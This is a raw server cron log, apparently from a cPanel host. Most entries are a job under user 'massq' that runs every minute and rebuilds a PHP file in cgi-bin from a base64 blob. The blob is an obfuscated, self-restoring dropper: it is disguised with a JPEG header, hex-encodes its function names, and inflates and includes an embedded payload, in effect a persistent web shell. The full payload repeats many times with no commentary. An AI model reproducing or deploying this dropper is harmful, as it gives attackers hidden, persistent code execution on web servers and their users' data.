Nov 14 20:50:01 server CROND[3008]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:50:01 server CROND[3009]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 20:50:01 server CROND[3005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:51:01 server CROND[3690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:52:01 server CROND[4446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:53:01 server CROND[5378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:54:01 server CROND[6306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:55:01 server CROND[7235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:55:01 server CROND[7234]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:55:01 server CROND[7236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:56:01 server CROND[8316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:57:01 server CROND[9461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:57:01 server CROND[9462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 20:58:01 server CROND[10402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:59:01 server CROND[11390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:00:01 server CROND[12233]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:00:01 server CROND[12235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:00:01 server CROND[12236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 21:00:01 server CROND[12247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:01:01 server CROND[13237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:01:01 server CROND[13238]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 21:01:01 server run-parts(/etc/cron.hourly)[13238]: starting 0anacron
Nov 14 21:01:01 server run-parts(/etc/cron.hourly)[13250]: finished 0anacron
Nov 14 21:02:01 server CROND[14271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
